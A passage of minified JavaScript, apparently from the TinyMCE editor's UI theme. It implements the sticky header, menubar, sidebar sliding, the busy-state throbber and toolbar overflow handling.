scrollFromBehindHeader(e, headerElem); } }); }); editor.on('PostRender', function () { updateEditorClasses(editor, false); }); }; var isDocked = function (lazyHeader) { return lazyHeader().map(Docking.isDocked).getOr(false); }; var getIframeBehaviours = function () { var _a; return [Receiving.config({ channels: (_a = {}, _a[toolbarHeightChange()] = { onReceive: updateIframeContentFlow }, _a) })]; }; var getBehaviours = function (editor, sharedBackstage) { var focusedElm = value$1(); var lazySink = sharedBackstage.getSink; var runOnSinkElement = function (f) { lazySink().each(function (sink) { return f(sink.element); }); }; var onDockingSwitch = function (comp) { if (!editor.inline) { updateIframeContentFlow(comp); } updateEditorClasses(editor, Docking.isDocked(comp)); comp.getSystem().broadcastOn([repositionPopups()], {}); lazySink().each(function (sink) { return sink.getSystem().broadcastOn([repositionPopups()], {}); }); }; var additionalBehaviours = editor.inline ? [] : getIframeBehaviours(); return __spreadArray([ Focusing.config({}), Docking.config({ contextual: __assign({ lazyContext: function (comp) { var headerHeight = getOuter$2(comp.element); var container = editor.inline ? editor.getContentAreaContainer() : editor.getContainer(); var box = box$1(SugarElement.fromDom(container)); var boxHeight = box.height - headerHeight; var topBound = box.y + (isDockedMode(comp, 'top') ? 0 : headerHeight); return Optional.some(bounds(box.x, topBound, box.width, boxHeight)); }, onShow: function () { runOnSinkElement(function (elem) { return updateSinkVisibility(elem, true); }); }, onShown: function (comp) { runOnSinkElement(function (elem) { return remove$1(elem, [ visibility.transitionClass, visibility.fadeInClass ]); }); focusedElm.get().each(function (elem) { restoreFocus(comp.element, elem); focusedElm.clear(); }); }, onHide: function (comp) { findFocusedElem(comp.element, lazySink).fold(focusedElm.clear, focusedElm.set); runOnSinkElement(function (elem) { return updateSinkVisibility(elem, false); }); }, onHidden: function () { runOnSinkElement(function (elem) { return remove$1(elem, [visibility.transitionClass]); }); } }, visibility), lazyViewport: function (comp) { var win$1 = win(); var offset = getStickyToolbarOffset(editor); var top = win$1.y + (isDockedMode(comp, 'top') ? offset : 0); var height = win$1.height - (isDockedMode(comp, 'bottom') ? offset : 0); return bounds(win$1.x, top, win$1.width, height); }, modes: [sharedBackstage.header.getDockingMode()], onDocked: onDockingSwitch, onUndocked: onDockingSwitch }) ], additionalBehaviours, true); }; var StickyHeader = /*#__PURE__*/Object.freeze({ __proto__: null, setup: setup$9, isDocked: isDocked, getBehaviours: getBehaviours }); var renderHeader = function (spec) { var editor = spec.editor; var getBehaviours$2 = spec.sticky ? getBehaviours : getBehaviours$1; return { uid: spec.uid, dom: spec.dom, components: spec.components, behaviours: derive$1(getBehaviours$2(editor, spec.sharedBackstage)) }; }; var groupToolbarButtonSchema = objOf([ requiredString('type'), requiredOf('items', oneOf([ arrOfObj([ requiredString('name'), requiredArrayOf('items', string) ]), string ])) ].concat(baseToolbarButtonFields)); var createGroupToolbarButton = function (spec) { return asRaw('GroupToolbarButton', groupToolbarButtonSchema, spec); }; var baseMenuButtonFields = [ optionString('text'), optionString('tooltip'), optionString('icon'), requiredFunction('fetch'), defaultedFunction('onSetup', function () { return noop; }) ]; var MenuButtonSchema = objOf(__spreadArray([requiredString('type')], baseMenuButtonFields, true)); var createMenuButton = function (spec) { return asRaw('menubutton', MenuButtonSchema, spec); }; var splitButtonSchema = objOf([ requiredString('type'), optionString('tooltip'), optionString('icon'), optionString('text'), optionFunction('select'), requiredFunction('fetch'), defaultedFunction('onSetup', function () { return noop; }), defaultedStringEnum('presets', 'normal', [ 'normal', 'color', 'listpreview' ]), defaulted('columns', 1), requiredFunction('onAction'), requiredFunction('onItemAction') ]); var createSplitButton = function (spec) { return asRaw('SplitButton', splitButtonSchema, spec); }; var factory$b = function (detail, spec) { var setMenus = function (comp, menus) { var newMenus = map$2(menus, function (m) { var buttonSpec = { type: 'menubutton', text: m.text, fetch: function (callback) { callback(m.getItems()); } }; var internal = createMenuButton(buttonSpec).mapError(function (errInfo) { return formatError(errInfo); }).getOrDie(); return renderMenuButton(internal, 'tox-mbtn', spec.backstage, Optional.some('menuitem')); }); Replacing.set(comp, newMenus); }; var apis = { focus: Keying.focusIn, setMenus: setMenus }; return { uid: detail.uid, dom: detail.dom, components: [], behaviours: derive$1([ Replacing.config({}), config('menubar-events', [ runOnAttached(function (component) { detail.onSetup(component); }), run$1(mouseover(), function (comp, se) { descendant(comp.element, '.' + 'tox-mbtn--active').each(function (activeButton) { closest$1(se.event.target, '.' + 'tox-mbtn').each(function (hoveredButton) { if (!eq(activeButton, hoveredButton)) { comp.getSystem().getByDom(activeButton).each(function (activeComp) { comp.getSystem().getByDom(hoveredButton).each(function (hoveredComp) { Dropdown.expand(hoveredComp); Dropdown.close(activeComp); Focusing.focus(hoveredComp); }); }); } }); }); }), run$1(focusShifted(), function (comp, se) { se.event.prevFocus.bind(function (prev) { return comp.getSystem().getByDom(prev).toOptional(); }).each(function (prev) { se.event.newFocus.bind(function (nu) { return comp.getSystem().getByDom(nu).toOptional(); }).each(function (nu) { if (Dropdown.isOpen(prev)) { Dropdown.expand(nu); Dropdown.close(prev); } }); }); }) ]), Keying.config({ mode: 'flow', selector: '.' + 'tox-mbtn', onEscape: function (comp) { detail.onEscape(comp); return Optional.some(true); } }), Tabstopping.config({}) ]), apis: apis, domModification: { attributes: { role: 'menubar' } } }; }; var SilverMenubar = single({ factory: factory$b, name: 'silver.Menubar', configFields: [ required$1('dom'), required$1('uid'), required$1('onEscape'), required$1('backstage'), defaulted('onSetup', noop) ], apis: { focus: function (apis, comp) { apis.focus(comp); }, setMenus: function (apis, comp, menus) { apis.setMenus(comp, menus); } } }); var getAnimationRoot = function (component, slideConfig) { return slideConfig.getAnimationRoot.fold(function () { return component.element; }, function (get) { return get(component); }); }; var getDimensionProperty = function (slideConfig) { return slideConfig.dimension.property; }; var getDimension = function (slideConfig, elem) { return slideConfig.dimension.getDimension(elem); }; var disableTransitions = function (component, slideConfig) { var root = getAnimationRoot(component, slideConfig); remove$1(root, [ slideConfig.shrinkingClass, slideConfig.growingClass ]); }; var setShrunk = function (component, slideConfig) { remove$2(component.element, slideConfig.openClass); add$2(component.element, slideConfig.closedClass); set$7(component.element, getDimensionProperty(slideConfig), '0px'); reflow(component.element); }; var setGrown = function (component, slideConfig) { remove$2(component.element, slideConfig.closedClass); add$2(component.element, slideConfig.openClass); remove$6(component.element, getDimensionProperty(slideConfig)); }; var doImmediateShrink = function (component, slideConfig, slideState, _calculatedSize) { slideState.setCollapsed(); set$7(component.element, getDimensionProperty(slideConfig), getDimension(slideConfig, component.element)); reflow(component.element); disableTransitions(component, slideConfig); setShrunk(component, slideConfig); slideConfig.onStartShrink(component); slideConfig.onShrunk(component); }; var doStartShrink = function (component, slideConfig, slideState, calculatedSize) { var size = calculatedSize.getOrThunk(function () { return getDimension(slideConfig, component.element); }); slideState.setCollapsed(); set$7(component.element, getDimensionProperty(slideConfig), size); reflow(component.element); var root = getAnimationRoot(component, slideConfig); remove$2(root, slideConfig.growingClass); add$2(root, slideConfig.shrinkingClass); setShrunk(component, slideConfig); slideConfig.onStartShrink(component); }; var doStartSmartShrink = function (component, slideConfig, slideState) { var size = getDimension(slideConfig, component.element); var shrinker = size === '0px' ? doImmediateShrink : doStartShrink; shrinker(component, slideConfig, slideState, Optional.some(size)); }; var doStartGrow = function (component, slideConfig, slideState) { var root = getAnimationRoot(component, slideConfig); var wasShrinking = has(root, slideConfig.shrinkingClass); var beforeSize = getDimension(slideConfig, component.element); setGrown(component, slideConfig); var fullSize = getDimension(slideConfig, component.element); var startPartialGrow = function () { set$7(component.element, getDimensionProperty(slideConfig), beforeSize); reflow(component.element); }; var startCompleteGrow = function () { setShrunk(component, slideConfig); }; var setStartSize = wasShrinking ? startPartialGrow : startCompleteGrow; setStartSize(); remove$2(root, slideConfig.shrinkingClass); add$2(root, slideConfig.growingClass); setGrown(component, slideConfig); set$7(component.element, getDimensionProperty(slideConfig), fullSize); slideState.setExpanded(); slideConfig.onStartGrow(component); }; var refresh$3 = function (component, slideConfig, slideState) { if (slideState.isExpanded()) { remove$6(component.element, getDimensionProperty(slideConfig)); var fullSize = getDimension(slideConfig, component.element); set$7(component.element, getDimensionProperty(slideConfig), fullSize); } }; var grow = function (component, slideConfig, slideState) { if (!slideState.isExpanded()) { doStartGrow(component, slideConfig, slideState); } }; var shrink = function (component, slideConfig, slideState) { if (slideState.isExpanded()) { doStartSmartShrink(component, slideConfig, slideState); } }; var immediateShrink = function (component, slideConfig, slideState) { if (slideState.isExpanded()) { doImmediateShrink(component, slideConfig, slideState); } }; var hasGrown = function (component, slideConfig, slideState) { return slideState.isExpanded(); }; var hasShrunk = function (component, slideConfig, slideState) { return slideState.isCollapsed(); }; var isGrowing = function (component, slideConfig, _slideState) { var root = getAnimationRoot(component, slideConfig); return has(root, slideConfig.growingClass) === true; }; var isShrinking = function (component, slideConfig, _slideState) { var root = getAnimationRoot(component, slideConfig); return has(root, slideConfig.shrinkingClass) === true; }; var isTransitioning = function (component, slideConfig, slideState) { return isGrowing(component, slideConfig) || isShrinking(component, slideConfig); }; var toggleGrow = function (component, slideConfig, slideState) { var f = slideState.isExpanded() ? doStartSmartShrink : doStartGrow; f(component, slideConfig, slideState); }; var SlidingApis = /*#__PURE__*/Object.freeze({ __proto__: null, refresh: refresh$3, grow: grow, shrink: shrink, immediateShrink: immediateShrink, hasGrown: hasGrown, hasShrunk: hasShrunk, isGrowing: isGrowing, isShrinking: isShrinking, isTransitioning: isTransitioning, toggleGrow: toggleGrow, disableTransitions: disableTransitions }); var exhibit = function (base, slideConfig, _slideState) { var expanded = slideConfig.expanded; return expanded ? nu$7({ classes: [slideConfig.openClass], styles: {} }) : nu$7({ classes: [slideConfig.closedClass], styles: wrap$1(slideConfig.dimension.property, '0px') }); }; var events$4 = function (slideConfig, slideState) { return derive$2([runOnSource(transitionend(), function (component, simulatedEvent) { var raw = simulatedEvent.event.raw; if (raw.propertyName === slideConfig.dimension.property) { disableTransitions(component, slideConfig); if (slideState.isExpanded()) { remove$6(component.element, slideConfig.dimension.property); } var notify = slideState.isExpanded() ? slideConfig.onGrown : slideConfig.onShrunk; notify(component); } })]); }; var ActiveSliding = /*#__PURE__*/Object.freeze({ __proto__: null, exhibit: exhibit, events: events$4 }); var SlidingSchema = [ required$1('closedClass'), required$1('openClass'), required$1('shrinkingClass'), required$1('growingClass'), option('getAnimationRoot'), onHandler('onShrunk'), onHandler('onStartShrink'), onHandler('onGrown'), onHandler('onStartGrow'), defaulted('expanded', false), requiredOf('dimension', choose$1('property', { width: [ output$1('property', 'width'), output$1('getDimension', function (elem) { return get$a(elem) + 'px'; }) ], height: [ output$1('property', 'height'), output$1('getDimension', function (elem) { return get$b(elem) + 'px'; }) ] })) ]; var init$5 = function (spec) { var state = Cell(spec.expanded); var readState = function () { return 'expanded: ' + state.get(); }; return nu$8({ isExpanded: function () { return state.get() === true; }, isCollapsed: function () { return state.get() === false; }, setCollapsed: curry(state.set, false), setExpanded: curry(state.set, true), readState: readState }); }; var SlidingState = /*#__PURE__*/Object.freeze({ __proto__: null, init: init$5 }); var Sliding = create$7({ fields: SlidingSchema, name: 'sliding', active: ActiveSliding, apis: SlidingApis, state: SlidingState }); var owner = 'container'; var schema$d = [field('slotBehaviours', [])]; var getPartName = function (name) { return ''; }; var sketch = function (sSpec) { var parts = function () { var record = []; var slot = function (name, config) { record.push(name); return generateOne$1(owner, getPartName(name), config); }; return { slot: slot, record: constant$1(record) }; }(); var spec = sSpec(parts); var partNames = parts.record(); var fieldParts = map$2(partNames, function (n) { return required({ name: n, pname: getPartName(n) }); }); return composite$1(owner, schema$d, fieldParts, make$1, spec); }; var make$1 = function (detail, components) { var getSlotNames = function (_) { return getAllPartNames(detail); }; var getSlot = function (container, key) { return getPart(container, detail, key); }; var onSlot = function (f, def) { return function (container, key) { return getPart(container, detail, key).map(function (slot) { return f(slot, key); }).getOr(def); }; }; var onSlots = function (f) { return function (container, keys) { each$1(keys, function (key) { return f(container, key); }); }; }; var doShowing = function (comp, _key) { return get$d(comp.element, 'aria-hidden') !== 'true'; }; var doShow = function (comp, key) { if (!doShowing(comp)) { var element = comp.element; remove$6(element, 'display'); remove$7(element, 'aria-hidden'); emitWith(comp, slotVisibility(), { name: key, visible: true }); } }; var doHide = function (comp, key) { if (doShowing(comp)) { var element = comp.element; set$7(element, 'display', 'none'); set$8(element, 'aria-hidden', 'true'); emitWith(comp, slotVisibility(), { name: key, visible: false }); } }; var isShowing = onSlot(doShowing, false); var hideSlot = onSlot(doHide); var hideSlots = onSlots(hideSlot); var hideAllSlots = function (container) { return hideSlots(container, getSlotNames()); }; var showSlot = onSlot(doShow); var apis = { getSlotNames: getSlotNames, getSlot: getSlot, isShowing: isShowing, hideSlot: hideSlot, hideAllSlots: hideAllSlots, showSlot: showSlot }; return { uid: detail.uid, dom: detail.dom, components: components, behaviours: get$2(detail.slotBehaviours), apis: apis }; }; var slotApis = map$1({ getSlotNames: function (apis, c) { return apis.getSlotNames(c); }, getSlot: function (apis, c, key) { return apis.getSlot(c, key); }, isShowing: function (apis, c, key) { return apis.isShowing(c, key); }, hideSlot: function (apis, c, key) { return apis.hideSlot(c, key); }, hideAllSlots: function (apis, c) { return apis.hideAllSlots(c); }, showSlot: function (apis, c, key) { return apis.showSlot(c, key); } }, function (value) { return makeApi(value); }); var SlotContainer = __assign(__assign({}, slotApis), { sketch: sketch }); var sidebarSchema = objOf([ optionString('icon'), optionString('tooltip'), defaultedFunction('onShow', noop), defaultedFunction('onHide', noop), defaultedFunction('onSetup', function () { return noop; }) ]); var createSidebar = function (spec) { return asRaw('sidebar', sidebarSchema, spec); }; var setup$8 = function (editor) { var sidebars = editor.ui.registry.getAll().sidebars; each$1(keys(sidebars), function (name) { var spec = sidebars[name]; var isActive = function () { return is$1(Optional.from(editor.queryCommandValue('ToggleSidebar')), name); }; editor.ui.registry.addToggleButton(name, { icon: spec.icon, tooltip: spec.tooltip, onAction: function (buttonApi) { editor.execCommand('ToggleSidebar', false, name); buttonApi.setActive(isActive()); }, onSetup: function (buttonApi) { var handleToggle = function () { return buttonApi.setActive(isActive()); }; editor.on('ToggleSidebar', handleToggle); return function () { editor.off('ToggleSidebar', handleToggle); }; } }); }); }; var getApi = function (comp) { return { element: function () { return comp.element.dom; } }; }; var makePanels = function (parts, panelConfigs) { var specs = map$2(keys(panelConfigs), function (name) { var spec = panelConfigs[name]; var bridged = getOrDie(createSidebar(spec)); return { name: name, getApi: getApi, onSetup: bridged.onSetup, onShow: bridged.onShow, onHide: bridged.onHide }; }); return map$2(specs, function (spec) { var editorOffCell = Cell(noop); return parts.slot(spec.name, { dom: { tag: 'div', classes: ['tox-sidebar__pane'] }, behaviours: SimpleBehaviours.unnamedEvents([ onControlAttached(spec, editorOffCell), onControlDetached(spec, editorOffCell), run$1(slotVisibility(), function (sidepanel, se) { var data = se.event; var optSidePanelSpec = find$5(specs, function (config) { return config.name === data.name; }); optSidePanelSpec.each(function (sidePanelSpec) { var handler = data.visible ? sidePanelSpec.onShow : sidePanelSpec.onHide; handler(sidePanelSpec.getApi(sidepanel)); }); }) ]) }); }); }; var makeSidebar = function (panelConfigs) { return SlotContainer.sketch(function (parts) { return { dom: { tag: 'div', classes: ['tox-sidebar__pane-container'] }, components: makePanels(parts, panelConfigs), slotBehaviours: SimpleBehaviours.unnamedEvents([runOnAttached(function (slotContainer) { return SlotContainer.hideAllSlots(slotContainer); })]) }; }); }; var setSidebar = function (sidebar, panelConfigs) { var optSlider = Composing.getCurrent(sidebar); optSlider.each(function (slider) { return Replacing.set(slider, [makeSidebar(panelConfigs)]); }); }; var toggleSidebar = function (sidebar, name) { var optSlider = Composing.getCurrent(sidebar); optSlider.each(function (slider) { var optSlotContainer = Composing.getCurrent(slider); optSlotContainer.each(function (slotContainer) { if (Sliding.hasGrown(slider)) { if (SlotContainer.isShowing(slotContainer, name)) { Sliding.shrink(slider); } else { SlotContainer.hideAllSlots(slotContainer); SlotContainer.showSlot(slotContainer, name); } } else { SlotContainer.hideAllSlots(slotContainer); SlotContainer.showSlot(slotContainer, name); Sliding.grow(slider); } }); }); }; var whichSidebar = function (sidebar) { var optSlider = Composing.getCurrent(sidebar); return optSlider.bind(function (slider) { var sidebarOpen = Sliding.isGrowing(slider) || Sliding.hasGrown(slider); if (sidebarOpen) { var optSlotContainer = Composing.getCurrent(slider); return optSlotContainer.bind(function (slotContainer) { return find$5(SlotContainer.getSlotNames(slotContainer), function (name) { return SlotContainer.isShowing(slotContainer, name); }); }); } else { return Optional.none(); } }); }; var fixSize = generate$6('FixSizeEvent'); var autoSize = generate$6('AutoSizeEvent'); var renderSidebar = function (spec) { return { uid: spec.uid, dom: { tag: 'div', classes: ['tox-sidebar'], attributes: { role: 'complementary' } }, components: [{ dom: { tag: 'div', classes: ['tox-sidebar__slider'] }, components: [], behaviours: derive$1([ Tabstopping.config({}), Focusing.config({}), Sliding.config({ dimension: { property: 'width' }, closedClass: 'tox-sidebar--sliding-closed', openClass: 'tox-sidebar--sliding-open', shrinkingClass: 'tox-sidebar--sliding-shrinking', growingClass: 'tox-sidebar--sliding-growing', onShrunk: function (slider) { var optSlotContainer = Composing.getCurrent(slider); optSlotContainer.each(SlotContainer.hideAllSlots); emit(slider, autoSize); }, onGrown: function (slider) { emit(slider, autoSize); }, onStartGrow: function (slider) { emitWith(slider, fixSize, { width: getRaw(slider.element, 'width').getOr('') }); }, onStartShrink: function (slider) { emitWith(slider, fixSize, { width: get$a(slider.element) + 'px' }); } }), Replacing.config({}), Composing.config({ find: function (comp) { var children = Replacing.contents(comp); return head(children); } }) ]) }], behaviours: derive$1([ ComposingConfigs.childAt(0), config('sidebar-sliding-events', [ run$1(fixSize, function (comp, se) { set$7(comp.element, 'width', se.event.width); }), run$1(autoSize, function (comp, _se) { remove$6(comp.element, 'width'); }) ]) ]) }; }; var block = function (component, config, state, getBusySpec) { set$8(component.element, 'aria-busy', true); var root = config.getRoot(component).getOr(component); var blockerBehaviours = derive$1([ Keying.config({ mode: 'special', onTab: function () { return Optional.some(true); }, onShiftTab: function () { return Optional.some(true); } }), Focusing.config({}) ]); var blockSpec = getBusySpec(root, blockerBehaviours); var blocker = root.getSystem().build(blockSpec); Replacing.append(root, premade(blocker)); if (blocker.hasConfigured(Keying) && config.focus) { Keying.focusIn(blocker); } if (!state.isBlocked()) { config.onBlock(component); } state.blockWith(function () { return Replacing.remove(root, blocker); }); }; var unblock = function (component, config, state) { remove$7(component.element, 'aria-busy'); if (state.isBlocked()) { config.onUnblock(component); } state.clear(); }; var BlockingApis = /*#__PURE__*/Object.freeze({ __proto__: null, block: block, unblock: unblock }); var BlockingSchema = [ defaultedFunction('getRoot', Optional.none), defaultedBoolean('focus', true), onHandler('onBlock'), onHandler('onUnblock') ]; var init$4 = function () { var blocker = destroyable(); var blockWith = function (destroy) { blocker.set({ destroy: destroy }); }; return nu$8({ readState: blocker.isSet, blockWith: blockWith, clear: blocker.clear, isBlocked: blocker.isSet }); }; var BlockingState = /*#__PURE__*/Object.freeze({ __proto__: null, init: init$4 }); var Blocking = create$7({ fields: BlockingSchema, name: 'blocking', apis: BlockingApis, state: BlockingState }); var getAttrs = function (elem) { var attributes = elem.dom.attributes !== undefined ? elem.dom.attributes : []; return foldl(attributes, function (b, attr) { var _a; if (attr.name === 'class') { return b; } else { return __assign(__assign({}, b), (_a = {}, _a[attr.name] = attr.value, _a)); } }, {}); }; var getClasses = function (elem) { return Array.prototype.slice.call(elem.dom.classList, 0); }; var fromHtml = function (html) { var elem = SugarElement.fromHtml(html); var children$1 = children(elem); var attrs = getAttrs(elem); var classes = getClasses(elem); var contents = children$1.length === 0 ? {} : { innerHtml: get$7(elem) }; return __assign({ tag: name$2(elem), classes: classes, attributes: attrs }, contents); }; var getBusySpec$1 = function (providerBackstage) { return function (_root, _behaviours) { return { dom: { tag: 'div', attributes: { 'aria-label': providerBackstage.translate('Loading...'), 'tabindex': '0' }, classes: ['tox-throbber__busy-spinner'] }, components: [{ dom: fromHtml('
    ') }] }; }; }; var focusBusyComponent = function (throbber) { return Composing.getCurrent(throbber).each(function (comp) { return focus$3(comp.element); }); }; var toggleEditorTabIndex = function (editor, state) { var tabIndexAttr = 'tabindex'; var dataTabIndexAttr = 'data-mce-' + tabIndexAttr; Optional.from(editor.iframeElement).map(SugarElement.fromDom).each(function (iframe) { if (state) { getOpt(iframe, tabIndexAttr).each(function (tabIndex) { return set$8(iframe, dataTabIndexAttr, tabIndex); }); set$8(iframe, tabIndexAttr, -1); } else { remove$7(iframe, tabIndexAttr); getOpt(iframe, dataTabIndexAttr).each(function (tabIndex) { set$8(iframe, tabIndexAttr, tabIndex); remove$7(iframe, dataTabIndexAttr); }); } }); }; var toggleThrobber = function (editor, comp, state, providerBackstage) { var element = comp.element; toggleEditorTabIndex(editor, state); if (state) { Blocking.block(comp, getBusySpec$1(providerBackstage)); remove$6(element, 'display'); remove$7(element, 'aria-hidden'); if (editor.hasFocus()) { focusBusyComponent(comp); } } else { var throbberFocus = Composing.getCurrent(comp).exists(function (busyComp) { return hasFocus(busyComp.element); }); Blocking.unblock(comp); set$7(element, 'display', 'none'); set$8(element, 'aria-hidden', 'true'); if (throbberFocus) { editor.focus(); } } }; var renderThrobber = function (spec) { return { uid: spec.uid, dom: { tag: 'div', attributes: { 'aria-hidden': 'true' }, classes: ['tox-throbber'], styles: { display: 'none' } }, behaviours: derive$1([ Replacing.config({}), Blocking.config({ focus: false }), Composing.config({ find: function (comp) { return head(comp.components()); } }) ]), components: [] }; }; var isFocusEvent = function (event) { return event.type === 'focusin'; }; var isPasteBinTarget = function (event) { if (isFocusEvent(event)) { var node = event.composed ? head(event.composedPath()) : Optional.from(event.target); return node.map(SugarElement.fromDom).filter(isElement$2).exists(function (targetElm) { return has(targetElm, 'mce-pastebin'); }); } else { return false; } }; var setup$7 = function (editor, lazyThrobber, sharedBackstage) { var throbberState = Cell(false); var timer = value$1(); var stealFocus = function (e) { if (throbberState.get() && !isPasteBinTarget(e)) { e.preventDefault(); focusBusyComponent(lazyThrobber()); editor.editorManager.setActive(editor); } }; if (!editor.inline) { editor.on('PreInit', function () { editor.dom.bind(editor.getWin(), 'focusin', stealFocus); editor.on('BeforeExecCommand', function (e) { if (e.command.toLowerCase() === 'mcefocus' && e.value !== true) { stealFocus(e); } }); }); } var toggle = function (state) { if (state !== throbberState.get()) { throbberState.set(state); toggleThrobber(editor, lazyThrobber(), state, sharedBackstage.providers); editor.fire('AfterProgressState', { state: state }); } }; editor.on('ProgressState', function (e) { timer.on(global$f.clearTimeout); if (isNumber(e.time)) { var timerId = global$f.setEditorTimeout(editor, function () { return toggle(e.state); }, e.time); timer.set(timerId); } else { toggle(e.state); timer.clear(); } }); }; var generate$1 = function (xs, f) { var init = { len: 0, list: [] }; var r = foldl(xs, function (b, a) { var value = f(a, b.len); return value.fold(constant$1(b), function (v) { return { len: v.finish, list: b.list.concat([v]) }; }); }, init); return r.list; }; var output = function (within, extra, withinWidth) { return { within: within, extra: extra, withinWidth: withinWidth }; }; var apportion = function (units, total, len) { var parray = generate$1(units, function (unit, current) { var width = len(unit); return Optional.some({ element: unit, start: current, finish: current + width, width: width }); }); var within = filter$2(parray, function (unit) { return unit.finish <= total; }); var withinWidth = foldr(within, function (acc, el) { return acc + el.width; }, 0); var extra = parray.slice(within.length); return { within: within, extra: extra, withinWidth: withinWidth }; }; var toUnit = function (parray) { return map$2(parray, function (unit) { return unit.element; }); }; var fitLast = function (within, extra, withinWidth) { var fits = toUnit(within.concat(extra)); return output(fits, [], withinWidth); }; var overflow = function (within, extra, overflower, withinWidth) { var fits = toUnit(within).concat([overflower]); return output(fits, toUnit(extra), withinWidth); }; var fitAll = function (within, extra, withinWidth) { return output(toUnit(within), [], withinWidth); }; var tryFit = function (total, units, len) { var divide = apportion(units, total, len); return divide.extra.length === 0 ? Optional.some(divide) : Optional.none(); }; var partition = function (total, units, len, overflower) { var divide = tryFit(total, units, len).getOrThunk(function () { return apportion(units, total - len(overflower), len); }); var within = divide.within; var extra = divide.extra; var withinWidth = divide.withinWidth; if (extra.length === 1 && extra[0].width <= len(overflower)) { return fitLast(within, extra, withinWidth); } else if (extra.length >= 1) { return overflow(within, extra, overflower, withinWidth); } else { return fitAll(within, extra, withinWidth); } }; var setGroups$1 = function (toolbar, storedGroups) { var bGroups = map$2(storedGroups, function (g) { return premade(g); }); Toolbar.setGroups(toolbar, bGroups); }; var findFocusedComp = function (comps) { return findMap(comps, function (comp) { return search(comp.element).bind(function (focusedElm) { return comp.getSystem().getByDom(focusedElm).toOptional(); }); }); }; var refresh$2 = function (toolbar, detail, setOverflow) { var builtGroups = detail.builtGroups.get(); if (builtGroups.length === 0) { return; } var primary = getPartOrDie(toolbar, detail, 'primary'); var overflowGroup = Coupling.getCoupled(toolbar, 'overflowGroup'); set$7(primary.element, 'visibility', 'hidden'); var groups = builtGroups.concat([overflowGroup]); var focusedComp = findFocusedComp(groups); setOverflow([]); setGroups$1(primary, groups); var availableWidth = get$a(primary.element); var overflows = partition(availableWidth, detail.builtGroups.get(), function (comp) { return get$a(comp.element); }, overflowGroup); if (overflows.extra.length === 0) { Replacing.remove(primary, overflowGroup); setOverflow([]); } else { setGroups$1(primary, overflows.within); setOverflow(overflows.extra); } remove$6(primary.element, 'visibility'); reflow(primary.element); focusedComp.each(Focusing.focus); }; var schema$c = constant$1([ field('splitToolbarBehaviours', [Coupling]), customField('builtGroups', function () { return Cell([]); }) ]); var schema$b = constant$1([ markers$1(['overflowToggledClass']), optionFunction('getOverflowBounds'), required$1('lazySink'), customField('overflowGroups', function () { return Cell([]); }) ].concat(schema$c())); var parts$7 = constant$1([ required({ factory: Toolbar, schema: schema$e(), name: 'primary' }), external$1({ schema: schema$e(), name: 'overflow' }), external$1({ name: 'overflow-button' }), external$1({ name: 'overflow-group' }) ]); var expandable = constant$1(function (element, available) { setMax(element, Math.floor(available)); }); var schema$a = constant$1([ markers$1(['toggledClass']), required$1('lazySink'), requiredFunction('fetch'), optionFunction('getBounds'), optionObjOf('fireDismissalEventInstead', [defaulted('event', dismissRequested())]), schema$y() ]); var parts$6 = constant$1([ external$1({ name: 'button', overrides: function (detail) { return { dom: { attributes: { 'aria-haspopup': 'true' } }, buttonBehaviours: derive$1([Toggling.config({ toggleClass: detail.markers.toggledClass, aria: { mode: 'expanded' }, toggleOnExecute: false })]) }; } }), external$1({ factory: Toolbar, schema: schema$e(), name: 'toolbar', overrides: function (detail) { return { toolbarBehaviours: derive$1([Keying.config({ mode: 'cyclic', onEscape: function (comp) { getPart(comp, detail, 'button').each(Focusing.focus); return Optional.none(); } })]) }; } }) ]); var toggle = function (button, externals) { var toolbarSandbox = Coupling.getCoupled(button, 'toolbarSandbox'); if (Sandboxing.isOpen(toolbarSandbox)) { Sandboxing.close(toolbarSandbox); } else { Sandboxing.open(toolbarSandbox, externals.toolbar()); } }; var position = function (button, toolbar, detail, layouts) { var bounds = detail.getBounds.map(function (bounder) { return bounder(); }); var sink = detail.lazySink(button).getOrDie(); Positioning.positionWithinBounds(sink, toolbar, { anchor: { type: 'hotspot', hotspot: button, layouts: layouts, overrides: { maxWidthFunction: expandable() } } }, bounds); }; var setGroups = function (button, toolbar, detail, layouts, groups) { Toolbar.setGroups(toolbar, groups); position(button, toolbar, detail, layouts); Toggling.on(button); }; var makeSandbox = function (button, spec, detail) { var ariaOwner = manager(); var onOpen = function (sandbox, toolbar) { detail.fetch().get(function (groups) { setGroups(button, toolbar, detail, spec.layouts, groups); ariaOwner.link(button.element); Keying.focusIn(toolbar); }); }; var onClose = function () { Toggling.off(button); Focusing.focus(button); ariaOwner.unlink(button.element); }; return { dom: { tag: 'div', attributes: { id: ariaOwner.id } }, behaviours: derive$1([ Keying.config({ mode: 'special', onEscape: function (comp) { Sandboxing.close(comp); return Optional.some(true); } }), Sandboxing.config({ onOpen: onOpen, onClose: onClose, isPartOf: function (container, data, queryElem) { return isPartOf$1(data, queryElem) || isPartOf$1(button, queryElem); }, getAttachPoint: function () { return detail.lazySink(button).getOrDie(); } }), Receiving.config({ channels: __assign(__assign({}, receivingChannel$1(__assign({ isExtraPart: never }, detail.fireDismissalEventInstead.map(function (fe) { return { fireEventInstead: { event: fe.event } }; }).getOr({})))), receivingChannel({ doReposition: function () { Sandboxing.getState(Coupling.getCoupled(button, 'toolbarSandbox')).each(function (toolbar) { position(button, toolbar, detail, spec.layouts); }); } })) }) ]) }; }; var factory$a = function (detail, components, spec, externals) { return __assign(__assign({}, Button.sketch(__assign(__assign({}, externals.button()), { action: function (button) { toggle(button, externals); }, buttonBehaviours: SketchBehaviours.augment({ dump: externals.button().buttonBehaviours }, [Coupling.config({ others: { toolbarSandbox: function (button) { return makeSandbox(button, spec, detail); } } })]) }))), { apis: { setGroups: function (button, groups) { Sandboxing.getState(Coupling.getCoupled(button, 'toolbarSandbox')).each(function (toolbar) { setGroups(button, toolbar, detail, spec.layouts, groups); }); }, reposition: function (button) { Sandboxing.getState(Coupling.getCoupled(button, 'toolbarSandbox')).each(function (toolbar) { position(button, toolbar, detail, spec.layouts); }); }, toggle: function (button) { toggle(button, externals); }, getToolbar: function (button) { return Sandboxing.getState(Coupling.getCoupled(button, 'toolbarSandbox')); }, isOpen: function (button) { return Sandboxing.isOpen(Coupling.getCoupled(button, 'toolbarSandbox')); } } }); }; var FloatingToolbarButton = composite({ name: 'FloatingToolbarButton', factory: factory$a, configFields: schema$a(), partFields: parts$6(), apis: { setGroups: function (apis, button, groups) { apis.setGroups(button, groups); }, reposition: function (apis, button) { apis.reposition(button); }, toggle: function (apis, button) { apis.toggle(button); }, getToolbar: function (apis, button) { return apis.getToolbar(button); }, isOpen: function (apis, button) { return apis.isOpen(button); } } }); var schema$9 = 